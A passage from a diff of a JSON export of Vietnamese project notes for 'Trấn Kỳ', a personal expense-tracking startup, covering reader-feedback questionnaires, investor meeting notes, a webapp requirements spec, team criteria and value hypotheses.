đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm?\r\n\t- [ ] Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình?\r\n\t- [ ] Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Hiểu được ý tưởng?\r\n\t- [ ] Thấy ý tưởng này là một thứ có ý nghĩa?\r\n\t- [ ] Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới?\r\n\t- [ ] Thấy tò mò với những kế hoạch?\r\n\t- [ ] Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình?\r\n\t- [ ] Việc chuyển qua website khác không làm họ thấy có vấn đề?\r\n\t- [ ] Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lý do viết Trấn Kỳ]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác?\r\n\t- [ ] Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được?\r\n\t- [ ] Hiểu được rằng AI không ứng dụng được trong trường hợp này?\r\n\t- [ ] Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Mô hình kinh doanh Trấn Kỳ]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Hiểu được điều mình có thể có ở đây?\r\n\t- [ ] Chủ động nhắn tin?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Hướng dẫn sử dụng\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n", + "Toàn bộ nội dung": "## Đối thủ cạnh tranh\r\nTheo dữ liệu của Money Lover, hơn 60% (1.2 triệu user) sau khi sử dụng và tải app đã xóa app hoặc không sử dụng. Daily active không thường xuyên. Một người dùng cho biết họ cũng chỉ làm những cái được nhiều người la ó nhất.\r\n\r\nXem thêm:: [[Chương trình ghi chép thu chi cá nhân|So sánh tính năng giữa chương trình ghi chép thu chi cá nhân]]\r\n\r\n## Tiềm năng đầu tư\r\nViệc phân loại chi tiêu cũng là bước đầu tiên để một người gia nhập thị trường tài chính. Nó có thể giúp các ngân hàng tiếp cận những người không dùng tài khoản ngân hàng (nhóm unbanked). Nhất là với nhóm đối tượng học sinh, khi họ chưa đủ 18 tuổi để mở tài khoản ngân hàng. Đây là một mỏ dữ liệu cho các nhà đầu tư.\r\n\r\nÝ tưởng đã lọt được vào sự chú ý của [J.D.Everest](https://www.jdeverest.com/), một công ty tư vấn chiến lược cho các công ty quản lý tài sản gia đình (family office) và quỹ đầu tư tư nhân (private equity investment) ở Việt Nam. Theo [LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/) thì anh này trước khi sáng lập J.D.Everest thì từng là:\r\n- Thạc sĩ hệ thống thông tin,\r\n- Giám đốc điều hành số của [Early Risers Media Group](https://tuoitre.vn/early-risers-ke-hoach-dua-phim-viet-ra-the-gioi-20220424113728409.htm \"Early Risers và kế hoạch đưa phim Việt ra thế giới - Tuổi Trẻ Online\"), quản lý cho phim *Để Mai Tính*, *Long Ruồi*\r\n - [Người sáng lập công ty này](https://tuoitre.vn/vy-vincent-ngo---nguoi-tram-lang-271245.htm) viết kịch bản cho phim *Hancook* và sửa chữa kịch bản cho *Dòng máu anh hùng* và *Lửa Phật*\r\n- Đồng sáng lập *Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF)*\r\n\r\nBạn có thể xem [[J.D. Everest|các ghi chép của bọn mình khi ngồi nói chuyện với họ]].\r\n\r\nBên này nói rằng nếu làm app thu chi cá nhân và đánh thị trường Hàn Quốc trước thì khả năng ăn là 70%, vì bọn này mới thắng crypto. Tuy nhiên, chị Hoà, từng làm fintech cho Hàn Quốc, cho rằng fintech HQ đã phát triển trước mình 10 năm rồi, bây giờ tham gia vào thì không dễ ăn. Lúc nói điều này thì vào tháng 10/2023. Giờ tình hình có thể thay đổi.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-31T10:15:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-28T09:59:00.000Z", "id": "4U" }, { - "Tiêu đề": "Phỏng vấn người tương tác với các bài đăng về Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Phỏng vấn người tương tác với các bài đăng về Trấn Kỳ", + "Tiêu đề": "Hướng phát triển", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Tài liệu/Hướng phát triển", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "tiền này sẽ có khoản để duy trì hệ thống và để quỹ tiếp tục làm sản phẩm và chi phí mkt\r\nđến giai đoạn ổn định, sản phẩm đủ flow thì mình cứ bàn tiếp về %\r\ne muốn đúng hướng rồi tiếp tục mình chia lợi nhuận ntn để phù hợp\r\nthì đấy là giai đoạn về sau. Ae nói chuyện cf rồi, e thì muốn sản phẩm mình làm ra có người đón nhận, tiền sẽ đi theo sau và phát triển tiếp\r\n\r\n\r\nNếu sản phẩm thành công thì sẽ thuê tư vấn để chia phần trăm: [FPTS Dịch vụ Tư vấn Cổ phần hóa](https://www.fpts.com.vn/san-pham-dich-vu/tu-van-doanh-nghiep/dich-vu-ngan-hang-dau-tu/san-pham-dich-vu/tu-van-co-phan-hoa/)\r\n\r\n## Đội ngũ\r\n### Nhật\r\n| Tiêu chí | Trọng số |\r\n| --------------------------------------------- | -------- |\r\n| [[Kendy cần gì\\|Giúp Trí hết căng thẳng]] | 60% |\r\n| Không bị ép phải hoàn thành kịp hạn chót | 35% |\r\n| Thấy công việc giúp mở rộng thêm nhiều cơ hội | 5% |\r\n\r\n### Huy\r\nHiện đang làm trợ giảng cho [UX Foundation](https://uxfoundation.vn/). Anh founder cũng là mentor.\r\n[Facebook](https://www.facebook.com/huyvietluu99)\r\n\r\nMuốn đánh tập mass, ai cũng sử dụng được, vào phát ghi luôn\r\n\r\n| Tiêu chí | Trọng số |\r\n| --------------------------------- | -------- |\r\n| Sản phẩm làm ra có người đón nhận | 100% |\r\n\r\n## Tiêu chí tuyển người mới\r\n- [ ] Hiểu về nhóm\r\n- [ ] Hiểu cách sử dụng sản phẩm \r\n- [ ] Có động lực phát triển sản phẩm\r\n- [ ] Tối thiểu 2 tuần cập nhật những gì mình đã làm và những khó khăn của mình", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-08-01T13:33:00.000Z", + "Ngày cập nhật": "2024-08-01T13:59:00.000Z", "id": "4V" }, { - "Tiêu đề": "Tổ chức nhỏ hoặc người cần kỷ luật tài chính", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Tổ chức nhỏ hoặc người cần kỷ luật tài chính", + "Tiêu đề": "Đặc tả yêu cầu cho webapp", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Đặc tả yêu cầu cho webapp", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Một số ví dụ về mục tiêu nghiên cứu]]\r\n[[Phỏng vấn]]\r\n[[Giả thiết về giá trị của Trấn Kỳ]]\r\n\r\n| Thành phẩm cần có | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| ----------------- | -------------------- | --------- | --------- |\r\n| Làm demo | | | |\r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------------------ | --------- | --------- |\r\n| 3 người làm phát triển sản phẩm, khởi nghiệp, dự án nhận phỏng vấn | | |\r\n| 3 người làm tài chính nhận phỏng vấn | | |\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm/Nghiên cứu người dùng\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[4]\r\n```\r\n", + "Toàn bộ nội dung": "## Mô tả chung\r\n- **Nhu cầu:** thử nghiệm thị trường cho [[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]]\r\n- **Giải pháp:** tạo webapp \r\n\r\nSau khi xong sẽ marketing, để cho người dùng dùng thử. Huy sẽ thử với cộng đồng của mình trước. Nếu có phản hồi tốt sẽ mở ra các gói dùng thử.\r\n\r\n## Yêu cầu\r\n### Yêu cầu chức năng\r\n- ❓Ghi chép cần tổng hợp được\r\n- Cho dùng thử không cần login\r\n- Login cho người dùng trả phí\r\n- ❓Biểu đồ flow ko gãy\r\n\r\n### Yêu cầu giao diện \r\n\r\n### Yêu cầu phi chức năng\r\n- Refactor API trên server\r\n- Thời gian khởi động dưới 5s\r\n\r\n## Thời gian hoàn thành và giá\r\n```mermaid\r\ngantt\r\ndateFormat D/M H:m\r\naxisFormat %d/%m\r\ntitle Biểu đồ mẫu\r\n\r\nsection Phần chính\r\nRefactor API trên server : 8/1 9:00, 3d\r\nGhi chép cần tổng hợp được : 5d \r\nBiểu đồ : 3d\r\n\r\nsection Phần cho khách mua\r\nTrang login : 5d \r\nTrang bán hàng : 3d\r\n```\r\nThời gian hoàn thành dự kiến (giả sử ngày làm 10 tiếng): \r\n- Cho từng chức năng (bottom-up): 1 tuần nếu chưa có sẵn kiến thức về chức năng đó, 2 ngày nếu đã có sẵn kiến thức\r\n- Cho toàn bộ dự án (top-down): 20 ngày\r\n\r\n> [!Tip] Hiểu biết sâu\r\n> - [Định luật 90-90: 90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình]() \r\n> - [Định luật Hofstadter: Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]()\r\n> - [Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại]()\r\n \r\n## Cách thức trao đổi nhu cầu\r\nĐáp ứng được các mục tiêu của [[Nhật]], [[Kendy cần gì|Trí]] và [[Thịnh]]. Nếu không thì giá để Nhật làm là 200k/giờ hoặc $1000/tháng.\r\n\r\nXem thêm:: [[Lý do viết Trấn Kỳ]]\r\n\r\n## Nền tảng cần dùng\r\n- **Máy chủ:** Deno Deploy\r\n- **Cơ sở dữ liệu:** Deno KV\r\n- **Ngôn ngữ:** TypeScript\r\n- **Runtime:** Deno\r\n- **Framework:** Fresh\r\n- **UI:** DaisyUI, Tailwind \r\n\r\nNgôn ngữ TypeScript với runtime Deno là thích hợp nhất cho những app còn nhỏ\r\n\r\nNếu viết app điện thoại thì có thể dùng framework Capacitor để có thể viết một lần mà có cả app Android và iOS, nhưng như vậy thì có thể sẽ phải đổi runtime sang Node. \r\n\r\n## Thời hạn bảo hành phần mềm\r\nTuỳ vào loại vấn đề mà sẽ xem xét nó có phải là lỗi hay không. Nếu nó không phải là yêu cầu đã được thống nhất trước mà là tính năng mới thì tính phí theo giờ như bình thường.\r\n- Nếu lúc còn ít người dùng thì app không có vấn đề gì mà đến lúc người dùng tăng cao thì có vấn đề thì sẽ xét là một tính năng", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-31T12:09:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T07:58:00.000Z", "id": "4W" }, { - "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Tổ chức nhỏ/Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc", + "Tiêu đề": "Giả thiết về giá trị của Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Giá trị của Trấn Kỳ/Giả thiết về giá trị của Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Họ đã tìm những giải pháp nào rồi\r\n- Điều gì khiến họ không dùng những giải pháp đó\r\n- Chi phí giải pháp có sẵn\r\n", + "Toàn bộ nội dung": "# Người bận rộn không có thời gian phân loại dữ liệu nhưng cần có báo cáo chi tiết\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| --------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| Việc phân loại vào tại thời điểm diễn ra giao dịch rất nhức đầu | Không cần phải phân loại dữ liệu thủ công mà vẫn có báo cáo giao dịch đáng tin cậy | Họ thiết lập được Trấn Kỳ | [Giới thiệu về Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8FTr%E1%BA%A5n%20K%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=th%C3%A0nh+ph%E1%BA%A9m), [Hướng dẫn sử dụng Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3%2Fh%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20tr%E1%BA%A5n%20k%E1%BB%B3%2F?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=th%C3%A0nh+ph%E1%BA%A9m) |\r\n\r\n# Người làm phát triển sản phẩm, khởi nghiệp, dự án\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------- |\r\n| Việc phải phân loại dữ liệu thủ công lấy đi thời gian để làm những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung | Sự phân loại các giả thiết và nhu cầu của các bên liên quan một cách nhanh chóng, chính xác và rẻ hơn AI | Có thể phân loại ý tưởng, giả thuyết, khám phá về người dùng, các bên liên quan theo một hệ thống phân loại cố định | Cách Kendy/Quả Cầu đã tự động hoá việc phân loại ý tưởng như thế nào |\r\n| Không nhìn thấy trực tiếp cách tổ chức dữ liệu thế nào | Các tài liệu mở để họ tham khảo cách sử dụng Obsidian vào việc quản lý dự án | | [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]] |\r\n\r\n# Người làm NLP, AI\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- | ------------------------- |\r\n| Các khái niệm như chiều, khối dữ liệu, tensor chưa đủ chấn động | Cách để tiếp xúc với tensor bằng thị giác (aka nhìn thấy tensor bằng mắt thường): tensor là các phép quay vật thể trong không gian | Việc giải thích các khái niệm này bằng hình học xạ ảnh làm họ thấy thú vị | [[Mô hình xử lý dữ liệu]] |\r\n\r\n# Người cần rèn luyện kỹ năng, phát triển bản thân\r\n\r\n\r\n# Người cần tìm thêm sự thú vị hoặc ý nghĩa trong cuộc sống\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------- |\r\n| Việc sống để kiếm tiền vô vị hoặc vô nghĩa quá, mà họ không biết phải làm sao | Sự bất ngờ, thách thức hoặc ý nghĩa. Kể cả khi họ không cảm thấy cuộc sống vô vị hoặc vô nghĩa và không đòi hỏi thêm sự thú vị và ý nghĩa, thì sự thú vị và ý nghĩa vẫn tìm đến họ | Việc tham gia một hoạt động cộng đồng đem lại cho họ những bất ngờ, thử thách và ý nghĩa | [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]] |\r\n| Thấy rằng không phải lúc nào tiền cũng là giải pháp cho mọi vấn đề nhưng không biết phải thoát ra khỏi nó/làm nó tuyệt vời hơn như thế nào | Bằng chứng cho thấy một dự án mở từ đầu đến cuối vẫn có thể tạo ra sự bền vững về tài chính | Ứng dụng thành công khoa học phức hợp vào việc quản trị tổ chức để có thể điều phối được các dòng chảy nhu cầu để chúng tự đáp ứng được với nhau | Mạng kết nối nhu cầu |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-07-28T10:27:00.000Z", "id": "4X" }, { - "Tiêu đề": "Kế hoạch sử dụng tiền", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Kế hoạch sử dụng tiền", + "Tiêu đề": "Bài giới thiệu Trấn Kỳ được nhiều người chia sẻ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Khả năng vận hành/Bài giới thiệu Trấn Kỳ được nhiều người chia sẻ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Thành quả mong muốn | Giả thiết | Công việc |\r\n| -------------------------- | --------- | --------- |\r\n| Trả lương Lộc (fulltime) | | 8 tr |\r\n| Trả lương Thịnh (parttime) | | 3 tr |\r\n| Server | | |\r\n", + "Toàn bộ nội dung": "Kết quả: chủ yếu chỉ có những nhóm:\r\n- [[J2TEAM]]\r\n- Dev ơi mình đi đâu thế\r\n- Phân tích và xử lý dữ liệu: 29 react\r\nlà được nhiều like và share. Nhưng thành phần chỉ là những người tò mò\r\n\r\nĐến cả web bị lỗi mà suốt thời gian qua không ai báo lỗi\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -4721,66 +4682,66 @@ "id": "4Y" }, { - "Tiêu đề": "J.D. Everest", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Nhà đầu tư/J.D. Everest", + "Tiêu đề": "Giả thiết về khả năng vận hành Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Khả năng vận hành/Giả thiết về khả năng vận hành Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Buổi gặp 1\r\n## Nội dung chính\r\nĐể đấu với những hãng kia thì phải có b2b, mà như vậy thì phải cần data lớn. Có data thì mới scale đc. Đây không phải là vấn đề về kỹ thuật, mà là vấn đề về kinh doanh.\r\nsiri mỗi lần ra chức năng mới đều là đi sát nhập với mấy cái này\r\n\r\nBên đó làm tất cả những vấn đề như sale, media, marking, pháp lý, thuế, tư vấn gọi vốn. Mỗi một dự án nếu bán thành công thì sau khi trừ hết chi phí thì lợi nhuận lấy 20%. Nếu bán lại thì lấy 10%. Nếu họ thấy ko đc thì rút nên họ ko sợ lỗ, nhưng sẽ mất chi phí cơ hội vì phải đi bán cho mình. Quan trọng là có sale đc \r\n\r\nQuy trình: Nhật tự trả tiền lập công ty. Sau khi có công ty thì sẽ có pháp nhân, điều lệ. Ko cần vốn ban đầu để chạy. Buổi sau sẽ làm term sheet. Khi bán được cho khách thì sẽ báo giá chi tiết, nhận tiền đặt cọc thì sẽ làm.\r\n\r\nĐầu tiên sẽ đánh thị trường Hàn Quốc trước vì bọn này mới thắng crypto. Khả năng ăn là 70%.\r\n\r\nHiện tại chưa hiểu gì về QC nên không nói gì cả. Họ chỉ cần một mình Nhật và cái code/công nghệ lõi. Cùng lắm nếu chia cho bạn bè thì mỗi người nhận 5%. Nếu QC thì mới cần tất cả mọi người tham gia.\r\n\r\n## Lý do cần tốc độ\r\nKo có tốc độ thì ko phát triển đc, đối thủ ăn trước mình\r\n\r\n## Lý do gặp Nhật\r\nBan đầu nhắn \"hay quá\" chỉ là vì ý tưởng của cái app cho cuộc sống của mình chứ chưa có gì cả. Khi Nhật nhắn thì nhận gặp vì là bạn bè lâu lâu cũng muốn nói. Ngồi nói chuyện thì mới biết có công nghệ lõi là NLP thì mới thấy cơ hội làm ăn.\r\nVì sao từ lúc đó không tìm hiểu nữa?\r\nKhi nào thì tính tìm hiểu tiếp? \r\nTại sao lúc đó ko muốn gặp để tìm hiểu về cái app?\r\n\r\n## Về J.D. Everest\r\nNhững công ty quản lý tài sản gia đình (family office) như của Hoàng gia Anh,\r\ncapital trust fund\r\nequity fund: tài sản (đất, cổ phiếu, crypto) \r\nsinking fund: tiền còn dư từ capital fund,\r\n\r\n13, 14 công ty quản lý tài sản gia đình\r\ngiới thiệu private banking bên đay\r\n\r\nfund để phát triển\r\n\r\n[LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/)\r\n- Thạc sĩ hệ thống thông tin\r\n- Founder Yeah1TV, phim Để Mai Tính, Long Ruồi\r\n- Đồng sáng lập Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF) (❓không tìm thấy website?) \r\n- Làm việc với bộ khoa học kỹ thuật về không gian làm việc cho startup\r\n\r\n[Huy Nguyen](https://www.facebook.com/profile.php?id=100000718890989)\r\n\r\n\r\n# Câu hỏi cho lần gặp thứ 2\r\n- Tại sao thấy nó tiềm năng?\r\n- Mình có bàn về kế hoạch, chiến lược phát triển không? Nếu có bàn thì cũng là tham gia phát triển rồi? Nếu không bàn thì sao lên kế hoạch truyền thông, tư vấn và đi bán được?\r\n- Anh muốn nó được phát triển thế nào?\r\n- Vì sao những cách phát triển khác anh không hứng thú?\r\n- Để nó đạt được điều anh muốn anh nghĩ nó cần những điều gì?\r\n- Có những dự án nào anh quyết định không đầu tư? Tại sao?\r\n- Anh có thể nói sơ qua về Quỹ Đầu tư Khởi nghiệp Quốc gia không?\r\n- Anh nghĩ sao về những dự án mã nguồn mở mà vẫn được đầu tư như deno, [langchain](https://blog.langchain.dev/announcing-our-10m-seed-round-led-by-benchmark/), redhat?\r\n- Bán ở đây là bán cho doanh nghiệp, hay là pitch với nhà đầu tư?\r\n- Những dự án như doodle one, Rossor scale đc như thế nào? \r\n\r\n\r\nmột bạn dùng nó với mục đích phân loại file khi làm phim tài liệu\r\n**Ko hiểu về mục tiêu của QC** mục tiêu của AAA là tạo ra một sân chơi. Anh tạo ra quỹ khởi nghiệp cũng giống như tạo ra một sân chơi\r\n**Thấy lơ lửng** Điều gì khiến anh thấy nghệ thuật ko lơ lửng\r\n**Thấy không liên quan** Điều gì khiến AAA thấy nghệ thuật, thời trang, âm nhạc liên quan tới nhau?\r\nBước vào cuộc nói chuyện với việc muốn gặp bạn cũ, nhưng nó bước ra khỏi cuộc nói chuyện đó bằng một cơ hội đầu tư hấp dẫn\r\n\r\n# Buổi 3\r\n- [ ] Các buổi làm việc của chúng ta sẽ thế nào? Một tuần gặp bao nhiêu lần? \r\n- [ ] Dự đoán bao lâu thì sẽ bán được hợp đồng đầu tiên? Giá trị khoảng bao nhiêu? Làm sao để đảm bảo bọn em giữ được đúng số tiền?\r\n- [ ] Điều gì khiến em đảm bảo là bên anh sẽ chịu bán hàng? Mọi người có thể không bán gì cả nhưng vẫn ăn được tiền\r\n- [ ] Có dự án nào anh thấy scale được nhưng anh cũng vẫn từ chối ko?\r\n- [ ] Đâu là mức anh nghĩ là không còn đáng để anh đầu tư?\r\n- [ ] Có những thứ gì anh đã hy sinh scale để có nó? \r\n\t- [ ] Nếu là để làm truyền thông, thương hiệu thì anh muốn hướng đến những đối tượng nào? \r\n\t- [ ] CSR\r\n\t- [ ] Nếu là những người có chuyên môn về phát triển cộng đồng thì anh thấy sao? \r\n- [ ] Điều gì khiến mình có thể chiếm lĩnh thị trường tốt hơn MoneyLover?\r\n- [ ] Điều gì khiến anh đầu tư vào Việt Sử Liên Minh, ROSSOR, Music Light? Chúng scale được thế nào? \r\n\t- [ ] Anh biết họ thế nào? \r\n\t- [ ] Bên anh bán 